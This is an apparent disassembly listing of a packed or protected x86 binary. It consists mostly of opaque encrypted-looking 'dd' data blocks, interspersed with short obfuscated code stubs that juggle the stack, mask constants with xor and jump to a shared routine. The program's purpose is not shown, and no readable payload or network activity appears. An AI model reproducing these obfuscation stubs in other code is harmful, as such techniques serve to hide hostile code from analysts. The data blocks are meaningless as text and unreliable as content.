		dd 0E4F2DA17h, 0E9958D5Eh, 878657DFh, 0AFCD398Ch, 3F5B5A23h
		dd 9340636h, 0B6AE12FFh, 0A7E1A83h, 12972C3Fh, 851F28D0h
		dd 0CFEC8CB5h, 0F2FFABA3h, 0AC364486h, 3F925BE6h, 384D4540h
		dd 4F7h, 24FC293Bh, 4B56E5B0h, 310DC14h, 42254F04h, 219AD012h
		dd 0E05D9624h, 0D8D85A3Ah, 27000004h, 0B9E48B13h, 0B7A06BDFh
		dd 0BFDC1460h, 0A8303EB2h, 3FF9DFD7h, 0DBDAAB31h, 0CE8A95E0h
		dd 0DED3EF99h, 6CE623E6h, 0F90279D5h, 3C34FCCh,	0DB0E0615h
		dd 9762D6A2h, 73DCBECCh, 557A7986h, 0D785828h, 2F7A4BD2h
		dd 9AED77EAh, 20B95B26h, 243169DCh, 0E9707EB0h,	931A2018h
		dd 0B13856C2h, 0B87189E0h, 0A1A28488h, 7C79Ah, 8D15A00h
		dd 27F87E9Ch, 44159DBBh, 6730BAD8h, 8758DDFBh, 4C105C1Bh
		dd 6C8AF6C7h, 8EAC18E1h, 0AFCD3902h, 0E6EB5728h, 67016F3Ah
		dd 0E3F1D01Bh, 0FECF56D0h, 0D5A3DAFFh, 49D59661h, 60FDC14h
		dd 7DB9CFF6h, 0E8948C0Fh, 8A8952DEh, 3B3A0B92h,	119DED40h
		dd 4F81F548h, 0FFCABC41h, 0D01284F1h, 29217481h, 62CE9723h
		dd 0B98A1220h, 0C1C7BFBAh, 0B86D6C35h, 0D01284BAh, 3923AEBCh
		dd 1284006Eh, 90E3F0D0h, 949BD598h, 51CCD012h, 0C1457ECFh
		dd 1F7294ABh, 4D5BE0ABh, 0E1BDA17h, 28105A0Fh, 2CA5DA17h
		dd 2331632Fh, 0D3CECD9Eh, 1728A8C6h, 433B48DAh,	3F8E9C57h
		dd 1D9750h, 29E60000h, 0E5B024FCh, 0DC146596h, 28444350h
		dd 65C52BF6h, 0A0ADD012h, 1993A8h, 32960000h, 4AD09E24h
		dd 0FB2E2679h, 0A273F982h, 0AB10DB4Fh, 0CBDC1458h, 5602BFBEh
		dd 85A7FECFh, 0CAC8B65Ah, 6C6C2C9h, 0D25B0000h,	0F97F9D09h
		dd 169EBC28h, 31BBD945h, 59DEFC68h, 115D1C88h, 8BF7C84Dh
		dd 0AD19E26Dh, 0CE3A038Fh, 0EC5829B0h, 2703BE7h, 0F2D01B66h
		dd 0FC29D1E4h, 46E5B024h, 20DC144Ah, 0A26D9F13h, 0D012434Ch
		dd 6A1F1724h, 0AE1AEB72h, 5F7918D3h, 4BDF4BFBh,	926994DFh
		dd 8AF43F08h, 0A0C0990Dh, 0CE0074C7h, 6B6A3BC0h, 0F6B57870h
		dd 0F2F15A33h, 92915AE4h, 0E6F39F97h, 0CE99CBE7h, 0E5403BA0h
		dd 60844B50h, 0C9B3C693h, 0F2787E76h, 0B07BAD21h, 0E5401B42h
		dd 0B2D2532h, 47BB45C0h, 452DBF7Ch, 373039EFh, 299A3CE7h
		dd 0C8992171h, 0A31724D0h, 0C034D79Ah, 0E6DEAB39h, 30727C31h
		dd 4EC7EF45h, 9208C351h, 3903656Dh, 52000001h, 3803FC29h
		dd 0D611453Ah, 0B3C18CBAh, 43D61145h, 1C90E336h, 144AEA51h
		dd 807F8CDCh, 0C4300188h, 4F4E1FA6h, 0DA9B2533h, 35C8E54Fh
		dd 0A09FF29Dh, 1EAADA5h, 0A7FB5F38h, 20A74F4Ch,	93A1E34Fh
		dd 0ECBD4309h, 0A79FF2EDh, 4A491AA1h, 12FDDA95h, 383514D0h
		dd 9D25E6Ch, 11170F0Ah,	2F4DB98Ah, 8253DAA8h, 46B2BB2Fh
		dd 91F2512Ah, 0F4FAC539h, 7C82881Ch, 0A6C2776Fh, 44430C98h
		dd 0EB1E5149h, 0F0DEA91Dh, 8082881Ch, 41BC0773h, 461143B7h
		dd 82881C28h, 99C3BBC8h, 8D3771CEh, 0FC0188h, 0D51BE6B8h
		dd 9D8C8D57h, 0D1664590h, 585728B0h, 43B70A5Dh,	0DDDCAD35h
		dd 3D35EAE2h, 6871E5B6h, 48879288h, 1D531EFCh, 0D58C8D3Bh
		dd 5B7D75C8h, 0E6E5B63Dh, 8D3BAB31h, 6F6C4B8Ch,	36F40C7h
		dd 0F9022828h, 0C555C510h, 0E3B43B59h, 0A82F3D6Fh, 0D0DDD8D7h
		dd 18E1FDA2h, 0A09F70F8h, 0AAA2AFA5h, 53E240F5h, 0D53092A8h
		dd 0D8A930D8h, 0F6C74E6Ch, 0CDABD2F7h, 31898E59h, 0F92B892Ch
		dd 879465EBh, 8D2ACD69h, 0E210DB09h, 928D2ACDh,	8E3A3285h
		dd 3CE81581h, 0EB000000h, 0B024FC29h, 146596E5h, 444350DCh
		dd 89F5C64Ch, 0E3F00E70h, 9059E5B6h, 0CF439691h, 696839C1h
		dd 0CA931E6Eh, 0EFDDA8D2h, 67D0125Fh, 616F2B5Ah, 0BB840FD5h
		dd 6F6EC1BCh, 56B17C74h, 5092FECFh, 451D531Eh, 0C8D5D611h
		dd 98609DD0h, 508E5924h, 3B48DC14h, 0FC8795C7h,	41393433h
		dd 72E6AF3Bh, 0D0CDD64h, 6CBF9015h, 3F5B5021h, 150DC30Ah
		dd 8049D5F3h, 57215C81h, 405718E3h, 20FDA17h, 5B244E03h
		dd 0D845DA17h, 36BECC40h, 5B7B7944h, 0EEFBDA17h, 4779A39Bh
		dd 0EEEAF39h, 7AB91131h, 72352D80h, 0D012B3B5h,	85A1A0ADh
		dd 0AC20F177h, 18AB93E1h, 5E5663C4h, 18AB519Bh,	706DE6C4h
		dd 300DE9E2h, 2D244Eh, 32730000h, 0E3AE9824h, 0D611458Dh
		dd 0D055865h
		dd 61D5A3DAh, 14654196h, 6FF701DCh, 0F5C64E9Eh,	34A8FBF6h
		dd 0D9D19A26h, 291D24h,	29200000h, 3A3803FCh, 0BAD61145h
		dd 0B4E65AADh, 0CE40DABh, 3B33DB7Ch, 142B3378h,	0B22633DCh
		dd 0C3BFB580h, 2A37D012h, 56C07D32h, 0A97A01CFh, 703BAFAAh
		dd 0D6114502h, 3B92E5F2h, 0C8B65B0Fh, 89606768h, 98000003h
		dd 0BCDA460Fh, 0DBF96536h, 0F8168253h, 1B39A56Eh, 9A59C596h
		dd 34058A4Eh, 561FAAC8h, 7740CCEAh, 9566ED0Bh, 0AD782429h
		dd 0D01B6347h, 560E212Fh, 7FFFECFh, 0F843AF80h,	0B47FF38Dh
		dd 0DC144A9Fh, 88960A17h, 37323102h, 9BD58A3Fh,	20D01240h
		dd 0C6FF4F58h, 472BC042h, 0E977744Fh, 5A3A48E2h, 3829h
		dd 327800h, 11453F35h, 0B2AAB7D6h, 67A067Fh, 7041C6D4h
		dd 872B7671h, 896192DEh, 486B2E26h, 22DC1439h, 17611615h
		dd 0ACD01231h, 23A83633h, 0EA5A3A97h, 0E1h, 0FECF5639h
		dd 0B18207FFh, 0D9AA2F3Dh, 32E7DFDAh, 6EE2B33Ah, 1109DA60h
		dd 0CDD645Ch, 0C4505EA0h, 901FCFBh, 114A0346h, 0F1C249D6h
		dd 12E06785h, 6D6CBF88h, 0CF43DD48h, 6F6E37C1h,	0CF22EB77h
		dd 6D7BADD7h, 5E2119E2h, 0DC14485Dh, 549A6597h,	1CD0124Eh
		dd 5E6B170Fh, 87EDB8EAh, 6FD0124Eh, 0FD486A62h,	7B84F880h
		dd 92FD3412h, 5781796Ch, 159D048Ch, 0AF2330DAh,	0DF4B1CA1h
		dd 146B3CC1h, 0D4BF77DEh, 61434A4Bh, 0C0000002h, 0E4026E37h
		dd 3218D5Eh, 203EAA7Bh,	4361CD96h, 0C281EDBEh, 5C2DB276h
		dd 7E47D2F0h, 9F68F412h, 0BD8E1533h, 0D5A04C51h, 0D01B629Fh
		dd 56364957h, 529400D1h, 0EEEDBE44h, 6EF5FBF3h,	931B299Dh
		dd 45CBC3C2h, 277A7574h, 0BDCB0D2Fh, 6E666536h,	0CCC417E8h
		dd 2CFC2901h, 7367C768h, 0A374F95Ch, 356A9A4h, 1EE3C48Fh
		dd 6E7BDC14h, 0DCB0BA6Fh, 58DED012h, 9908887h, 521D3938h
		dd 0D012DC1Ch, 5D66C7D4h, 138CB560h, 7A438816h,	0F3CA5A3Ah
		dd 19000000h, 0FFFECF56h, 7E4FD5E3h, 868C847Fh,	0DEA73301h
		dd 9291E4DFh, 114ABCDDh, 8B59E0D6h, 3B363506h, 6B6B74E8h
		dd 0FCF2BDDBh, 74D611B4h, 0B61B1C67h, 0F1A522F8h, 32858786h
		dd 73FA183Ah, 77EA3A2h,	793A0579h, 73DC1401h, 1D16DF65h
		dd 0FD13F28Eh, 0A6C2C114h, 121095DBh, 0FD505DD0h, 0E04C5905h
		dd 0E936895h, 1023511Ch, 0C6D3D012h, 0F17C7473h, 0E82D528h
		dd 10E311DCh, 8693D012h, 2432648Eh, 15D8D099h, 0DA15A21Ch
		dd 0CBD94D5Ah, 0EB097546h, 0FE3E9566h, 7FD4BF63h, 12E777Eh
		dd 6AF30000h, 911735A1h, 0AE3654C0h, 0C95371DDh, 0F1769400h
		dd 0A9F5B420h, 238F60E5h, 45B17A05h, 66D29B27h,	84F0C148h
		dd 0EA08D37Fh, 8AD01B6Dh, 0D156697Ch, 0F37E8C00h, 0A8332B2Ah
		dd 92E5E0DFh, 451D531Eh, 0C8D5D611h, 990AED0h, 7C8ACC38h
		dd 2C2726F7h, 0CF566934h, 8007FFFEh, 45ADC38Eh,	1745D611h
		dd 1145264Ch, 6EC1CED6h, 0D99A71Bh, 0C64D4544h,	0A8FBF6F5h
		dd 450B6934h, 0DEEBD611h, 0C79C4E6h, 2120F177h,	0AD02A22Eh
		dd 0FB4E1E47h, 9B2634A8h, 2A7D4ED5h, 753D0832h,	1DC1BDEh
		dd 834E80F4h, 0D01B9C6Dh, 0A66FFB05h, 6159ACA7h, 5C2DB4ACh
		dd 7D4BD2F0h, 0D7D629F2h, 58D0B2BBh, 0C63043DFh, 8410BCEh
		dd 4CA7159Ch, 4F20A74Fh, 793A1E3h, 4C443F3Eh, 0EFEEBF46h
		dd 20A76DF7h, 6934504Fh, 95812D0Bh, 388BDEEBh, 0DFED1B39h
		dd 918C8B54h, 19C1BE99h, 9FD5A092h, 5795812Dh, 6D8BF74Ah
		dd 0FA1615E6h, 2DF7FDC8h, 9B259581h, 0D7CFDCD2h, 17C2h
		dd 26346600h, 0ADC3D0A1h, 0F095812Dh, 63FA4475h, 212E242Bh
		dd 3D545E29h, 504CD56h,	0B6B5860Dh, 6A6932BEh, 1F1EE772h
		dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h
		db 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	1E2Dh
		mov	[esp], edi
		push	6460h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 5E21829h
		push	edx
		mov	edx, 28056Ch
		add	ebp, edx
		pop	edx
		mov	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	eax
		mov	eax, 8
		add	eax, 71020E8Bh
		add	eax, ecx
		sub	eax, 71020E8Bh
		mov	[eax], edi
		pop	eax
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		dd 0E04DC077h, 0F0B808BFh, 3060A29h, 3CE0FFC5h,	4850BBF2h
		dd 9A12E525h, 0DF3DA98Bh, 0B6143618h, 0B127F9C0h, 0C51112Ah
		dd 610A8BA0h, 2B740ABCh, 65799297h, 0EB0401BFh,	11CAFC04h
		dd 56CE944h, 820B0000h,	0A92F4DB9h, 0C64E6CD8h,	0E16B89F5h
		dd 98EAC18h, 0C10DCC38h, 3BA778FDh, 5DC9921Dh, 7EEAB33Fh
		dd 9C08D960h, 0D220EB97h, 0A2D01B6Fh, 0CF568194h, 0ABAA7B01h
		dd 665E5DB0h, 86A410E1h, 132F2EFFh, 0F63E390Ah,	0E85C23ABh
		dd 11E2D71Dh, 9A929FD6h, 0C83C0D94h, 94DE8DBFh,	30289363h
		dd 2CFD837Bh, 0F5F24D2Dh, 89F5C64Dh, 2AF5DF6Bh,	0D61112C4h
		dd 0E04C9FACh, 6E6D36C2h, 0AE22EB76h, 4A491AA0h, 84A2574Fh
		dd 7400A8A5h, 9A213FABh, 0BC4755C9h, 1F9F4F3h, 9822304Ch
		dd 0DB14D7CFh, 39D61112h, 0EDE5E4ADh, 0E39B9A63h, 15903B38h
		dd 3EB54340h, 0F55C39B4h, 53h, 0FECF5644h, 45224AFFh, 7045D611h
		dd 0E3EEE573h, 1255C39h, 74000000h, 0FFD056h, 3DB18208h
		dd 0D8D7A82Fh, 3830E5DDh, 9263E8AEh, 43149B93h,	4819A0F0h
		dd 0FCFB4E49h, 0DD64721Ch, 26F10D0Ch, 0D61145C8h, 50489BA8h
		dd 4AD07875h, 68EF0D79h, 32482B97h, 0D9D19A24h,	97D4ED3h
		dd 45E60CD7h, 818ED611h, 56DCD489h, 19D88685h, 0BD42501Ch
		dd 69EEF4ECh, 870E2C98h, 37BFB7B6h, 0F5C0F266h,	0D61145FFh
		dd 0BD726A77h, 0AA7673ECh, 176308A1h, 0D5CDB0FAh, 39BBF2E9h
		dd 47414A5Ch, 347ACE6Ch, 718AC5BDh, 0D9000000h,	100D156h
		dd 0B1B08109h, 0D17976D1h, 0F10F7B4Ch, 809C9B6Ch, 1E1DE672h
		dd 9B252B23h, 2C7F50D5h, 0E6E35C2Dh, 39E18358h,	88D9B5Ch
		dd 4F254B16h, 0C0CDD611h, 7B736E6Dh, 5B40h, 0D1568F00h
		dd 7D090100h, 183740B4h, 0ED03CE96h, 85D61171h,	907B2D78h
		dd 0CD20E975h, 0E1720D5h, 13E46911h, 3B0C919Fh,	2749413Ch
		dd 8152D7E5h, 0C48F8782h, 0FFD056h, 1145204Bh, 1AE870D6h
		dd 0C7C2C192h, 0F37D7574h, 19222B2Ah, 21F6711Ch, 0E35D9624h
		dd 1D85C39h, 27000000h,	7900CE56h, 3EE25DA8h, 61AADA71h
		dd 0E5F30F0Eh, 948F8E5Fh, 3E0F969Ch, 6435BCCAh,	0BA99B76Ch
		dd 9B8D15BDh, 1174A2D0h, 0D04D52D6h, 0E1495F81h, 0BE2A7DD0h
		dd 4D184A7Ch, 0D6112C27h, 0BFB5C2CFh, 37D6112Ch, 86FF322Ah
		dd 53A677FDh, 0E1714DFh, 4A4FDC14h, 37DC1353h, 0CAC91C16h
		dd 4819A0AEh, 50564E49h, 0DAA5D7C9h, 0D012A594h, 2C424F5Ch
		dd 0C4D012A5h, 0DAF864B7h, 0CE838253h, 0D012A5A6h, 35DDDAE3h
		dd 5371DDAEh, 0D85203CCh, 0C31E63Dh, 12BC3341h,	63B6C3D0h
		dd 0E7F51110h, 91978F60h, 0E8B63C0Ah, 3D3C8F60h, 42F0EF42h
		dd 9E5F2B34h, 9F55AB5Ah, 0FFF74A13h, 0F87F2724h, 0A172F806h
		dd 125B5E94h, 0B60916D0h, 0BD6084Ah, 0D0125BE5h, 5B41B438h
		dd 0E7DDC76Ah, 0FDF6E2DAh, 495A3AE4h, 0B47D0917h, 47ADBAB5h
		dd 2FD0124Eh, 25EF2A22h, 3E000001h, 0B024FC29h,	145F4AE5h
		dd 2BF624DCh, 0D0125EC5h, 0FEFDCE53h, 7D030D03h, 5FB2ADACh
		dd 8E150D0Ch, 0AC3351BDh, 5DE4DCDBh, 0D1DF8D8Ch, 0BB404C8h
		dd 130B0804h, 0C933B38h, 0CBCF3Bh, 0B5A3A21h, 2Ch, 29F1295Ah
		dd 4534EAB5h, 0AFBCD611h, 44F5FBB0h, 0B863D611h, 0E9B2E6BBh
		dd 9A95945Dh, 5A08D347h, 0DAD61144h, 0B53461CDh, 37000000h
		dd 0B024FC29h, 14674EE5h, 0A71B28DCh, 44431499h, 809C5149h
		dd 1E1DE672h, 9E252B23h, 8814AD0h, 6D1D1790h, 9F9A99ECh
		dd 0DBA6D84Ch, 0D012E895h, 0E8DE14DFh, 8996D012h, 30018993h
		dd 0EBE33631h, 5324ABC9h, 0EB5A9F54h, 0A8B1D012h, 94D6DFABh
		dd 0C697B66h, 9B222820h, 0EA1C5ECAh, 12FBD11Fh,	0EEBF47D0h
		dd 0C0F3EBF8h, 7C47BB45h, 0DA18D1AEh, 44159CA6h, 105E2945h
		dd 0E0DA1CADh, 2E2D80D3h, 5CE1AF36h, 92C4388Bh,	1CADA9C7h
		dd 443C49DAh, 9592718Fh, 47BB45C0h, 1687AE7Ch, 951A28D0h
		dd 41CDC5C4h, 2B7E7978h, 67A8733h, 0A6A56EF8h, 0AE91B3ABh
		dd 9D27FC29h, 420D81D4h, 0DC1B6FF4h, 0E2EB5F6Ch, 0E26EE2E4h
		dd 0D41F1A19h, 0A29A3995h, 9D6EF5EDh, 0BB8C1331h, 0DE3F07BCh
		dd 4BF51E27h, 99204E19h, 0C3D09E37h, 4BF3F0CBh,	6987F3C4h
		dd 1A1211E2h, 0D0C8C790h, 867E7D46h, 27302F00h,	76211Eh
		dd 0A36EA0D2h, 9E37994Dh, 0E50B1825h, 8D9E3799h, 5B3F5488h
		dd 0E83BFAD4h, 701815F0h, 8EAC18E9h, 90C23607h,	1D2AFB82h
		dd 9E3715D7h, 0E59A929Fh, 6334BBC9h, 0A566Bh, 32590000h
		dd 0D1D09924h, 0BFD6DED6h, 504CD56h, 0B6B5860Dh, 6A6932BEh
		dd 1F1EE772h, 0D2D1A227h, 858455DAh, 3B3A038Dh,	0EBEABB43h
		dd 9D9C6DF3h, 5F54576Fh, 4C781h, 0EF830000h, 243C8704h
		dd 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h
		db 89h,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 3BD54F7Eh
		dec	ebx
		xor	ebx, 3DDF65C8h
		mov	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	77BFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	ebx
		mov	ebx, 75620B0Fh
		xor	[esp+4], ebx
		pop	ebx
		pop	dword ptr [esi+8]
		xor	dword ptr [esi+8], 75620B0Fh
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		dw 0E24Fh
		dd 0BA5EC4D0h, 80B831D8h, 3060A2Fh, 0E7E0FFC5h,	9B5CD64Eh
		dd 0EF609515h, 2B571EC5h, 3B570F8Dh, 4E0248E1h,	3D457144h
		dd 0E77FF15Eh, 0BE653C37h, 0EB62FC30h, 5EDB1E04h, 59EE909h
		dd 26AF0000h, 4DD3F15Dh, 6AF2107Ch, 850F2D99h, 0AD3250BCh
		dd 65B170DCh, 0DF4B1CA1h, 16D36C1h, 228E57E3h, 40AC7D04h
		dd 0AEC48F3Bh, 46D01B75h, 0CF562538h, 8207FFFEh, 0A02745B1h
		dd 2F824BD2h, 0B982F8FBh, 3C373689h, 0C5CEEAE9h, 0D25943CFh
		dd 8F88B601h, 0FA81877Fh, 0AC322A29h, 59E4DCDBh, 104EA46Fh
		dd 1926D611h, 4ACFC7C6h, 935E7A79h, 0D611105Dh,	4DF80815h
		dd 9EA1AD50h, 3C683FB0h, 5956B1E9h, 0ED592AB1h,	0FE8243CFh
		dd 0EB81A961h, 0ABC93588h, 3B57561Fh, 96E98932h, 0DED6A5F1h
		dd 85844DD8h, 3534058Dh, 0EBEAB33Dh, 8B3B00Bh, 67326492h
		dd 0D6112D09h, 3D3C058Fh, 0B8424C42h, 0A2F5F0EFh, 6D2CFAAh
		dd 0A4A36CF8h, 1FABB1A9h, 0E5B0E256h, 0D6112D8Fh, 452F7A12h
		dd 8B814D9Ah, 0D9A22E7Eh, 0C5E7DFDAh, 504F20A7h, 1155509Bh
		dd 0C3C095D6h, 39F3BE35h, 0A4755Ch, 56C40000h, 767D06CFh
		dd 0E91A0532h, 1195D01Eh, 4093A0D6h, 0C9D2EEEDh, 0CD1E1117h
		dd 0FD2CA8Fh, 0D61108E7h, 0E9B4E60Ah, 0D611088Bh, 0ADB616Bh
		dd 0C5BD100Bh, 945FEDEAh, 0B05C39AEh, 504F18A2h, 0E225D55h
		dd 12000000h, 37AB7C04h, 1104066Ch, 0E9E1EED6h,	0DED0561Eh
		dd 4593E1ACh, 5663D611h, 11452B49h, 3AC1CBD6h, 1C6F6A69h
		dd 0C24755C9h, 0FFF7F2F1h, 96202E4Ah, 0DBD3CECDh, 0FB814FD5h
		dd 45303E09h, 0B3C0D611h, 13666160h, 2DEFF814h,	486F3439h
		dd 0EC767C74h, 0E9442423h, 0EDBE44ECh, 0BDC6381h, 2432BC9Fh
		dd 0CDD3CB9Ch, 80787748h, 7C2A29FAh, 9318C0BDh,	4598D6A1h
		dd 4B58D611h, 0E76E8CF8h, 1BC5341Eh, 9A26EE2Ch,	2C2B7ED1h
		dd 67DBAC34h, 0C04CD59h, 100D8657h, 25FD3B44h, 32B45D1Ch
		dd 8E8D56E2h, 34AF9B93h, 0FF5C39BFh, 9Bh, 0F700324Eh, 0F986068Bh
		dd 53A1AE2Bh, 23D611E5h, 93181E16h, 0E598D6A1h,	4B58D611h
		dd 7901F9F8h, 25B1A9A8h, 76415D5Ch, 0D611E578h,	109BEBF8h
		dd 0DB9A4847h, 0A0FB33DEh, 0A576FBA3h, 0C5961B39h, 7B44CEC6h
		dd 3532AB7Ch, 58CD6069h, 0F8F7C84Dh, 0CA8EB2FDh, 36AD9991h
		dd 0FD5C3964h, 5Bh, 0D1564Ch, 618F5A8Ch, 11D61145h, 45DA18E3h
		dd 8D9AD611h, 718D423Ah, 170FD863h, 48BC8511h, 466BDB3Fh
		dd 0B2024905h, 625D5C2Dh, 0A3ACB56Ah, 47CCDAA6h, 0F3787E76h
		dd 56D3B622h, 4B00FFD0h, 0D6114520h, 4D182145h,	69B42C8h
		dd 0ACA9847Ch, 392AD51Eh, 1605Ch, 32AF0000h, 453F3500h
		dd 0AAB7D611h, 5324ACB2h, 4D55C54h, 0B08E705h, 9E0ADB63h
		dd 0FAC34E5Ch, 0CA56CF02h, 0F2C34856h, 2605D0FAh, 40DC1467h
		dd 26B1BF33h, 0B8B0655Dh, 0BDC6331h, 0A72E4CB8h, 0B2BBD7D6h
		dd 0E4AFFBCFh, 0D012538Eh, 450E5966h, 874A42C5h, 0D012486Fh
		dd 0EE96939Ch, 14229667h, 0A7C9C18Ah, 32310289h, 0E3E2B33Ah
		dd 999861EBh, 4F4E17A1h, 3AE5E2A1h, 0D0787534h,	80C7849h
		dd 5A3AEEC3h, 1644Ah, 0A42C3A00h, 2910DBD3h, 7EB024FCh
		dd 1A19EA70h, 0CB64271Fh, 25DC145Fh, 37C9581Ch,	20A82562h
		dd 255504Fh, 65305E0Ah,	0D012E20Fh, 8455DDE7h, 0C3378A85h
		dd 12E2FAF8h, 1A6D7AD0h, 0AA9C231Bh, 12E291DFh,	15461D0h
		dd 62905B8Dh, 0B8D012E2h, 5C695F30h, 9D244264h,	4ED5CDCCh
		dd 0E263915Ch, 0E13D012h, 0BD469179h, 0C4176A5Ah, 0E9BA4250h
		dd 0CF8E3CF1h, 0D2A32AD2h, 46696266h, 4FA45A3Ah, 0F3000000h
		dd 0A22CF129h, 8CDFDAD9h, 45974D18h, 121FD611h,	45105E13h
		dd 0CCC6D611h, 676637BEh, 33DF2474h, 0A9FC39F5h, 4D9D6B1h
		dd 5E900494h, 8F9F8055h, 159FAC9Dh, 0FF524D4Ch,	1A9E4407h
		dd 916D611h, 33FC8795h,	1F413934h, 94F2h, 0FC29F500h, 4EE5B024h
		dd 28DC1467h, 9D241C1Bh, 101E60CCh, 7A45B98Ah, 0D0126674h
		dd 0F1F7EFFCh, 7E9A996Ah, 0FA9F1475h, 1274C12Fh, 59A4B1D0h
		dd 0A02C80Bh, 12442247h, 535059D0h, 26F47987h, 8880D39Ch
		dd 0BE2AFB82h, 824D0A73h, 0D012466Ch, 0E50BD604h, 8DD01246h
		dd 66DA2D80h, 1876E19Bh, 0E85C69DAh, 8B8354DAh,	8657DED6h
		dd 323B6987h, 36E209D5h, 0C72DF816h, 0AFDA1CFDh, 7C574FA2h
		dd 0A573AA7Fh, 6CF1FF31h, 0A9A19C9Bh, 16CD3CE6h, 3BA7B4D0h
		dd 24FC2958h, 753BE5B0h, 0A6B3DC1Bh, 5728AFA7h,	7D46CDEBh
		dd 64B610E7h, 5150A393h, 6C6FFC9Ch, 0DEDB36E3h,	72DEAF36h
		dd 0FDFCCD54h, 29B57B05h, 0B80BDC63h, 317EC6B9h, 7CE27DB1h
		dd 0B9D7D629h, 608E598Bh, 10C34EACh, 8D29B803h,	0DDC1AE6h
		dd 953D3A15h, 0B3D13D0Eh, 555C5B2Ch, 3,	563D5458h, 0D0504CDh
		dd 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h
		dd 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	5C8Ah
		mov	[esp], edi
		push	2A4Ch
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		push	52D80CC6h
		pop	ebx
		shr	ebx, 4
		add	ebx, 0DCAF8Dh
		mov	edi, ebx
		pop	ebx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [edx+8]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		db 0DCh
		dd 24765127h, 0A3573B8h, 0FFC50306h, 0D50F03E0h, 49E88A6Ah
		dd 2B29BE1Ah, 5D388B14h, 0C9679D7Ah, 0E317E73Fh, 0C4D05E08h
		dd 4D68FB44h, 0E430916h, 0E6DA6E23h, 0E82CEF08h, 5462C426h
		dd 521A1F39h, 0AFBC8A09h, 2425B231h, 23000F1Fh,	68D8D68h
		dd 0BB060A37h, 129B181h, 19EDBD8Bh, 8D890603h, 60320A5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h
		dd 0A1BD06BFh, 8B52AAD3h, 3310DB5h, 48E0F06h, 66000000h
		dd 0C72A18BAh, 31A6585h, 63D406h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 832C86AEh
		dd 9DF9ED24h, 0BB66C81Dh, 85C711F1h, 6030071h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F3C35646h
		dd 515B5DFFh, 615F5360h, 0B1B5FF5Fh, 0F806031Ah, 171D95FFh
		dd 0B58B0603h, 6032141h, 95FF006Ah, 60323A5h, 2AEBC08Bh
		dd 90DE5C09h, 0B46B4319h, 0FE8A43C2h, 0F17EE9E2h, 0C62AECADh
		dd 0B6A56C88h, 444926FFh, 0C1DEAF17h, 0A3735BA2h, 0E71FD7EEh
		dd 4EB9530h, 37985F5Ch,	53AE9h,	440D9600h, 6334BAD8h, 8051D9F7h
		dd 0A36CF614h, 0C3941937h, 884C9857h, 0A8C63203h, 0CAE8541Dh
		dd 0EB09753Eh, 22279364h, 7245AB76h, 1F2DD01Bh,	0FECF560Ch
		dd 0B18207FFh, 0C19343Dh, 0B300B426h, 0F47B99BBh, 0A52C2423h
		dd 57DDD5D4h, 79041286h, 0BEB6B1B0h, 717F2909h,	0C230FBE5h
		dd 0B2D6118Fh, 585352A5h, 0E0888560h, 0FE1C8859h, 0DD66B172h
		dd 2C12256Dh, 1D2B6DD9h, 0CBD1C992h, 0F402763Fh, 0A5A09F68h
		dd 7500F8ADh, 0B08FADACh, 51D9E7B3h, 0F6828880h, 84D7A830h
		dd 0A273FA18h, 0FD85EEA3h, 0C4E8D611h, 0FDA9C792h, 0CAF4D611h
		dd 0F2F15960h, 5D556258h, 0ABB98582h, 725E561Fh, 5C39FA79h
		dd 42B4h, 0CF560300h, 224AFFFEh, 45D61145h, 0EEE57370h
		dd 255C39E3h, 0Bh, 0DA18E315h, 9AD61149h, 56CA958Dh, 800FFD0h
		dd 0BAB2B182h, 88686730h, 288302Dh, 20A7C531h, 93A1E34Fh
		dd 6AF04009h, 56D6A199h, 0AC7D03D1h, 0D862B2ADh, 0C215100Fh
		dd 7445CBC3h, 0B08C775h, 0A10DDE63h, 2C2BFC83h,	0DCDBAC34h
		dd 8C8B5CE4h, 42410A94h, 67333039h, 1145569Ch, 0BE111ED6h
		dd 911F1C95h, 5C39E14Ah, 99C1h,	0D1561000h, 91D48208h
		dd 9BEE252Fh, 4B1CA49Ch, 712FCED7h, 0DD335EF0h,	0F55030E5h
